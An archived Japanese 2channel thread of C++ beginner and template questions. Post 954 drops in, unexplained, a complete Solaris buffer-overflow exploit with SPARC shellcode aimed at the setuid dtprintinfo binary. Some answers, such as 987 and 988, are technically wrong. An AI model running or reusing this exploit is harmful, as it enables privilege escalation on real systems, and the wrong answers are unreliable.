912 名前:デフォルトの名無しさん :02/06/20 03:52
プログラミングした事無いんですが
やはり勉強するならC++よりも先にCでしょうか?

913 名前:デフォルトの名無しさん :02/06/20 03:54
仕事等で必要とかいうんでなければ、Javaからはじめるのがいいと思う
つかスレ違いかもよ

914 名前:デフォルトの名無しさん :02/06/20 03:57
>>913
ありがとうございます
特に仕事等で使うわけではありませんので
Javaをやってみます

915 名前:デフォルトの名無しさん :02/06/20 04:07
>>912
Javaもいいけど、C++に直接入った方が遠回りしなくて済むよ。
CのDirtyなテクニックを覚える前にC++やった方が、悩まなくて済むし。

916 名前:デフォルトの名無しさん :02/06/20 04:29
2項関数の型特定をしたいのですが、エラーが出てしまいます。
何とかコンパイルを通らせる方法はないものでしょうか。

template <class T>
struct MyAverage : public binary_function<T, T, T> {
T operator()(T x1, T x2);
};

template <class T>
T MyAverage<T>::operator()(T x1, T x2)
{
return (x1 + x2) / 2;
}

char MyAverage<char>::operator()(char x1, char x2)
{
cout << "この用法はサポートされていません。" << endl;
return 0x0;
}

917 名前:デフォルトの名無しさん :02/06/20 06:00
template<> MyAverage<char>::operator()…

918 名前:デフォルトの名無しさん :02/06/20 06:16
>>917
ありがとうございますぅ!バッチリでした!

919 名前:デフォルトの名無しさん :02/06/20 11:13
>>902-904
おそレスだが、.NETのデバッガもまともに動きません

920 名前:デフォルトの名無しさん :02/06/20 13:32
IME2002なら言語バーを無効にするか
他社IMEに乗り換えると改善した気がする < WinXPでのデバッガフリーズ問題

921 名前:デフォルトの名無しさん :02/06/20 14:02
>>920
言語バー無効にしようが
タスクバーから出そうが
アンチウィルス消そうが使い物になりません。
IMEタスクバー&トレイからだせば
3割の環境で起動します。
うちの環境のXPでは。
他社のIME使えば改善する、
初めて聞きました。
ATOKでも使って試してみます。
情報サンクス。

922 名前:デフォルトの名無しさん :02/06/20 14:02
ageちゃった。。
ごめん。

923 名前:デフォルトの名無しさん :02/06/20 23:25
ATOKなんか使う奴は(省略)

924 名前:デフォルトの名無しさん :02/06/21 09:10
>>923
そういう思い込みは(以下略

925 名前:デフォルトの名無しさん :02/06/21 09:12
>>924
スマソ、間違い、IMEなんかって書いてある気になってた。
漏れ、ATOK使ってないよ。IME2000だよ。
だから許してたもれ。

926 名前:876 :02/06/21 10:37
876です。みなさんどうもありがとうございます。
VC++では簡単なアプリはすぐ書けるようになったんですが、
なんというか、C++を使ってるという実感に乏しいというか・・・
頭が切り替わってないというか、問題をオブジェクト指向で
捉えてないからなんでしょうね。
がんばります。



927 名前:PC用語くらいちゃんと使え委員会 ◆u/7XlPOM :02/06/21 10:45
>>925
MS-IME2002

IMEはMSだけの物じゃない。

928 名前:デフォルトの名無しさん :02/06/21 11:49
>>921
言い忘れてました。
うちの環境ではVC6.0では
OSはXPでも2000でもデバッガフリーズします。
.NETは2000で試してませんが。
タスクバーからMS-IMEを出すと
90%のフリーズ率が30%になります(だいたい

で報告なんですが↑で聞いたとおり
ATOK15導入してみたら今のところ
100%デバッガ普通に動きます(XP&.NET)
1年間デバッグはMessageBoxを使ってやってきたので
感激です。さすがに疲れました。
情報サンクス!やっとデバッグがまともにできるっ!!
長文失礼。


929 名前:デフォルトの名無しさん :02/06/21 12:40
class Parent {
  AppendChild(Child *);
};
class Child {
  Parent* GetParent();
};
みたいに書きたいのですが、
上の場合だとParentの宣言のときにChildの宣言がないため
コンパイル通りません。なんかよい方法ありませんか。
拾ってきたソース真似して
class Child;
class Parent{ ... };
class Child{ ... };
ってしたんですがコンパイル通らなくて
環境はWinXP + Borland C++ Compiler です。

930 名前:デフォルトの名無しさん :02/06/21 12:43
メソッドの実装をclass定義の中に書いてますか?

931 名前:929 :02/06/21 12:46
>930
いえ、書いてません。
引数宣言と、上の例でのParentのメンバ変数でChildを使ってるだけなんですが


932 名前:デフォルトの名無しさん :02/06/21 12:48
>>929
エラーメッセージは?

933 名前:929 :02/06/21 12:52
>>932
今、学校の端末室で手元に自分の環境なくってうろ覚えですが
「型名が必要」だったと思います。

934 名前:デフォルトの名無しさん :02/06/21 12:54
AppendChildにvoidつけたらどうよ?

935 名前:929 :02/06/21 12:59
>>934
実際のソースはちゃんと型名つけてます。上のは例ということで…

文法的にはクラスAの宣言でクラスBを使うとき
class B;
class A{...};
class B{...};
というのはアリなんでしょうか?
でAの宣言中ではBのメソッドやらを使ってはだめ、と(当然ですけど)

手元にソース&環境がないので今言われたことをヒントに
家に帰っていろいろいじってみます。
ありがとうございました

936 名前:デフォルトの名無しさん :02/06/21 13:05
親子両方メンバーにpublic:してある?

937 名前:デフォルトの名無しさん :02/06/21 13:32
>>931
>引数宣言と、上の例でのParentのメンバ変数でChildを使ってるだけなんですが
Parentのメンバ変数にChild?それはまずいが、書き間違い?

938 名前:デフォルトの名無しさん :02/06/21 13:40
>>935
普通に通るぞ。

#include <iostream>
using namespace std;

class Child;

class Parent {
public:
void AppendChild(Child *c) { cout << hex << c << endl; }
};
class Child {
public:
Parent* GetParent(Parent &p) { return &p; }
};

int main()
{
Parent p;
Child c;

p.AppendChild(&c);
cout << hex << c.GetParent(p);
}

939 名前:デフォルトの名無しさん :02/06/21 13:41
>937
まだ定義がされてないクラスは直接のメンバにはなれません。
そのクラスのポインタ等だったらできるけど
× Child c;
○ Child *c;

940 名前:938 :02/06/21 13:42
レス先間違えた

941 名前:929 :02/06/21 15:02
>938,939 ありがとうございます。参考にいろいろやってみます。

942 名前:デフォルトの名無しさん :02/06/22 01:48
Overload resultion

943 名前:デフォルトの名無しさん :02/06/24 21:41
template <typename T> class A{};
template <typename T1,typename T2>
class B{};
template <typename T1,typename T2>
class B<T1,A<T2>>{};
こんな感じのソースが、GCCのヘッダにあったのですが、
テンプレイトの特殊化なのでしょうか?
ふつうなら、
template<>classB<ここに型を書く>
見たいな感じだと思うんですが・・・・・・


944 名前:デフォルトの名無しさん :02/06/24 22:03
>>943
<>は何に使うのでしょう?
てんぷれーとを表すにはtemplateで十分な訳だ。

945 名前:デフォルトの名無しさん :02/06/24 22:11
いや、特殊化なら<>つけるんじゃない?

946 名前:943 :02/06/24 22:17
ISOとかだと、<>で特殊化だと思うんですが・・・・
特注かだとは思うんですが、こんな書き方見たと着なかったので・・・・

947 名前:デフォルトの名無しさん :02/06/24 22:21
template class B<x,x>これは明示的なインスタンスの生成。
特殊化とは違う。

948 名前:デフォルトの名無しさん :02/06/24 22:25
>>943
これこそ VC++ では使えないといわれている伝説の部分特殊化

949 名前:デフォルトの名無しさん :02/06/24 22:42
マイクロソフトはやる気が無いんですか?

950 名前:デフォルトの名無しさん :02/06/24 22:50
>>949
MSはC/C++は捨てました

951 名前:デフォルトの名無しさん :02/06/24 22:58
>>950
ほう、ということは次期WindowsはC#で組まれるのかいな?
やめてくれ・・・・

952 名前:デフォルトの名無しさん :02/06/24 23:00
>>951
いえ、Delphiです

953 名前:デフォルトの名無しさん :02/06/24 23:08
M$まんせー(TーT)

954 名前:デフォルトの名無しさん :02/06/24 23:08
#define ADJUST 0
#define OFFSET 1144
#define STARTADR 724
#define BUFSIZE 900
#define NOP 0xa61cc013

static char x[1000];
unsigned long ret_adr;
int i;

char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

main()
{
putenv("LANG=");
for (i = 0; i < ADJUST; i++) x[i]=0x11;
for (i = ADJUST; i < 900; i+=4){
x[i+3]=NOP & 0xff;
x[i+2]=(NOP >> 8 ) &0xff;
x[i+1]=(NOP >> 16 ) &0xff;
x[i+0]=(NOP >> 24 ) &0xff;
}
for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
ret_adr=get_sp()-OFFSET;
printf("jumping address : %lx\n",ret_adr);
if ((ret_adr & 0xff) ==0 ){
ret_adr -=16;
printf("New jumping address : %lx\n",ret_adr);
}
for (i = ADJUST; i < 600 ; i+=4){
x[i+3]=ret_adr & 0xff;
x[i+2]=(ret_adr >> 8 ) &0xff;
x[i+1]=(ret_adr >> 16 ) &0xff;
x[i+0]=(ret_adr >> 24 ) &0xff;
}
x[BUFSIZE]=0;
execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0);
}

955 名前:デフォルトの名無しさん :02/06/24 23:27
トローイ

956 名前:デフォルトの名無しさん :02/06/25 00:59
mapを使ったプログラムを書こうとしてるんですけど、
メモリ内にあるデータをぜんぶディスクに書き出したり、逆に読み出したり
するにはどのようにしたらいいのでしょうか。


957 名前:デフォルトの名無しさん :02/06/25 01:06
>>956
ifstream、ofstream、first()、second()、std::map::iterator、begin()、end()

958 名前:デフォルトの名無しさん :02/06/25 01:49
firstとかsecondとかいらない。
普通にfor_eachとかcopyを使って書き出せる

959 名前:デフォルトの名無しさん :02/06/25 02:44
>>958
どーやるの?

960 名前:デフォルトの名無しさん :02/06/25 07:21
fwrite

961 名前:デフォルトの名無しさん :02/06/25 09:42
ostream::write(NULL, 0);

962 名前:デフォルトの名無しさん :02/06/25 10:19
>>943
テンプレートの解釈と処理に関しては、まずコンパイル時に
二段階の手順があると考えると分かりやすいです。
1 部分的特殊化された中からのテンプレートクラスの選択
2 テンプレートパラメータを解釈してクラスを生成

そして2の部分ですが、これはtemplate<class T1, class T2>の
ように、クラス内において使用時までそれが決定されない要素を
記述しておいて、実際に型をもらい受けたらクラスを生成します。
テンプレートクラスにおける未定義の要素を記述する"だけ"だと
考えていいと思います。

で、1ですがこれは943さんが書いている通り、
template<>class<決定済みの型>
と書いてある部分的特殊化されたクラスの一覧から最適なものを選ぶ
わけですが、この選択方法の詳細は正直あまりよく分かってません(w
とりあえず、上の例に照らし合わせて何かいうとしたら、
template <typename T1,typename T2> class B{}; ←(a)
template <typename T1,typename T2> class B<T1,A<T2> >{}; ←(b)
(a)はBの実体化集合の全てを意味します。特殊化されない場合は
このテンプレートクラスが選択されるというわけです。
(b)が意味しているのは二つ目のテンプレートパラメータが、
クラス Aというテンプレートパラメータを一つ受け取る型を受けたときに
選択されるということになります。
具体例としては B<int, A<int> > b; こんな時に選択されます。


上の解釈はいい加減なのでつっこみ待ってます: )

963 名前:デフォルトの名無しさん :02/06/25 10:23
×特殊化されない場合
○特殊化されたテンプレートクラスにマッチしない場合

964 名前:962 :02/06/25 10:52
ModernC++Designの2.2にはもっと分かりやすい説明がありました(ワラ
関数にはテンプレートの部分的特殊化は適応されないのですが、
それをオーバーロードで代用する方法も載っていて面白いです。
是非一読をお薦めします

965 名前:962 :02/06/25 13:20
訂正:
汎用テンプレートはなくてもいいみたいです。

template<int>class A{}; ←(a)
tempalte<>class A<3>{}; ←(b)
こういうのもありみたいです(^^;
template<class T>class A{};という汎用テンプレートは
必要ないし、エラーになります!

A<3> a;とすれば(b)が選択されます。
A<3>というケースしか認めないようにしたい場合は
(a)を削除するのではなく(そうするとエラーになる)、
template<int>class A; と(a)変更するればいいみたいです。
(ModernC++Design Page:x より)

テンプレートパラメータが<class T>のように汎化のときには
具体的な型で特殊化。テンプレートパラメータとして
プリミティブ型が指定されているときには、定数値で特殊化。
といった感じでしょうか。


あと紛らわしいのは、
template<template<class>class T>class A{}; という形。
これは汎用テンプレートです。これは特殊化とは関係なく、
テンプレートパラメータとして受取る型を「テンプレートパラメータを一つ
受取るテンプレートクラス」に限定するよう機能します。
<class>とテンプレートパラメータを省略できるのは、
それをクラス内において使用できないことに理由があるみたいです。


引き続きつっこみ待ってます: )

966 名前:962 :02/06/25 15:09
補足:

当然汎用テンプレートを二つ宣言することはできません。
template<class T>class A{};
template<class T1,class T2>class A{};
template<template<class>class T>class A{};
こういうのは当然エラーです。どれか一つしか使えません。

ただしこれはテンプレートパラメータの数が同じでなくてはいけないという
意味ではないようです。部分的特殊化をする部位において、
汎用テンプレートと同じパラメータ数になっていればOKらしいです。
LokiのFunctorImplが参考になります。
汎用テンプレートにおいてパラメータの個数を、
template<class T1, class T2> (この場合は二個)のようにして指定しますが、
部分的特殊化されたクラスにおいては同様の場所は
パラメータの数が同じである必要はありません。

ただし一つ重要なことにパラメータは部分的特殊化部位
class A<xxx,yyy> において全て使わなくてはなりません。


あと上でテンプレートパラメータのテンプレートパラメータを使うことは
できないと書きましたが、それはある一面においては間違いです。
FunctorImplにおいて、
template <typename R, typename P1, template <class> class ThreadingModel>
class FunctorImpl<R, TYPELIST_1(P1), ThreadingModel>
となっている部分において、P1をクラス内で使うために取り出しています。
もちろん上のThreadingModelのパラメータは使うことはできません。


引き続きつっこみお待ちしております: )_

967 名前:デフォルトの名無しさん :02/06/25 17:39
設計に関する質問です。

コンストラクタでメモリをアロケートする様な場合、
それが失敗した場合は例外をスルーするのが一般的でしょうか?
みなさんはどう設計しますか??

968 名前:デフォルトの名無しさん :02/06/25 17:44
>>967
正解です。

969 名前:デフォルトの名無しさん :02/06/25 17:51
スロー

970 名前:デフォルトの名無しさん :02/06/25 17:57
質問するのであります。

デストラクタに関してであります。

なんで、デストラクタは virtual のほうがよいの?

継承後のクラスのデストラクタで、親のデストラクタを呼ぶのじゃだめ???


971 名前:デフォルトの名無しさん :02/06/25 17:59
>>970
そもそも継承後のデストラクタ自体が呼ばれないのでダメ

972 名前:デフォルトの名無しさん :02/06/25 18:01
>>970
virtual宣言されてないと、継承したデストラクタを呼び出してくれないから。

973 名前:デフォルトの名無しさん :02/06/25 18:07
970 の使い方だとたぶん virtual は不要だと思われ。
つか、親デストラクタは勝手に呼ばれます。

974 名前:デフォルトの名無しさん :02/06/25 18:13
>>973
親のデストラクタしか呼ばれないってところに問題があるんじゃないのか。

975 名前:デフォルトの名無しさん :02/06/25 18:14
>>970
ヒント 多態

976 名前:デフォルトの名無しさん :02/06/25 18:18
970は多態を知らないので継承したデストラクタも問題なく呼ばれます

977 名前:デフォルトの名無しさん :02/06/25 18:25
継承したオブジェクトからだと問題なく継承先のデストラクタは呼ばれる。

しかし、親のポインタからデストラクタを呼び出した場合、指している先が
継承した子のオブジェクトである場合、virtual宣言されていないと継承先
のデストラクタは呼んでくれない。

978 名前:デフォルトの名無しさん :02/06/25 18:27
>>970
コンストラクタとデストラクタの実行順が問題になる。
コンストラクタは親→子の順で実行される。
コアが最初にできて段々大きくなっていくイメージ。

デストラクタは子から呼ばれる。
段々小さくなっていき最後にはなにもなくなってしまうイメージ。
たまねぎを想像しる。

979 名前:デフォルトの名無しさん :02/06/25 18:33


980 名前:デフォルトの名無しさん :02/06/25 19:36
ところで 950 は次スレよろしく。

981 名前:デフォルトの名無しさん :02/06/25 19:55
終わりで良いよ

982 名前:970 :02/06/25 20:15
>>975
>>976
多態がやっとわかったきがします。


>>977
ということは、親のポインタを delete した場合のために必要ってことでしょうか?

つまり、親クラスとしてA、子クラスとしてB,Cがあるとします。
子クラスを入れた親クラスのポインタを delete することで、B,Cを区別なく delete できるってことですね。

おかげで、わかりました。
ありがとうございます。
1つ賢くなった!


983 名前:aaaa :02/06/25 20:43
nの階乗を計算するプログラムの書き方が分かりません。
誰か頼みます。m(_ _)m

984 名前:デフォルトの名無しさん :02/06/25 20:45
>>983
C++関係ね〜じゃね〜かよ

for 使え。




985 名前:デフォルトの名無しさん :02/06/25 20:48
「多態」ってなんて読むの?

986 名前:デフォルトの名無しさん :02/06/25 20:50
>>985
それで、ポリモーフィズムと読む


987 名前:デフォルトの名無しさん :02/06/25 21:01
>>983
a = pow(b, c);

988 名前:デフォルトの名無しさん :02/06/25 21:12
>>983 C++らしい階乗の求め方はこうやります。但しnは実行時に
わかってないといけないですが。

#include <iostream>
using namespace std;

template <int N>
class Factorial {
public:
enum {value = N * Factorial<N - 1>::value};
};

class Factorial<1>
{
public:
enum {value = 1};
};

int main()
{
Factorial<10> f;

cout << f.value << endl;
}

989 名前:デフォルトの名無しさん :02/06/25 21:25
assert(983 == 988)

990 名前:デフォルトの名無しさん :02/06/25 21:29
>>987が気になる。

991 名前:デフォルトの名無しさん :02/06/25 21:31
>>988
超ガイシュツだし、今更カコワルイ。
しかも、いちいちインスタンス生成してるのがダサ過ぎる。
さらに整数しか扱えないと言うダメさ。

992 名前:デフォルトの名無しさん :02/06/25 21:38
>>990
>>987は恐らく階乗と累乗をごちゃ混ぜにしているのではないかと
小一時間。

993 名前:デフォルトの名無しさん :02/06/25 21:47
>>991
整数以外の階乗の計算方法も超ガイシュツなんですか。とっても知りたい。
>>987と同類か?


994 名前:デフォルトの名無しさん :02/06/25 21:57
整数以外に階乗ってできるのか???
6.392!とか!?


995 名前:デフォルトの名無しさん :02/06/25 21:58
実数の階乗はあるらしい。

996 名前:デフォルトの名無しさん :02/06/25 21:59
>>995
スターリンの公式なんてオチはなしよ。

997 名前:デフォルトの名無しさん :02/06/25 22:01
さあ?ぐぐったら「実数の階乗式もあるらしく」って出てきただけ。

998 名前:デフォルトの名無しさん :02/06/25 22:03
1000!

999 名前:デフォルトの名無しさん :02/06/25 22:03
1000! 

1000 名前:デフォルトの名無しさん :02/06/25 22:04
1000!  


■過去ログ置き場に戻る■ 1- 前250 次250 最新50
DAT2HTML 0.33f Converted.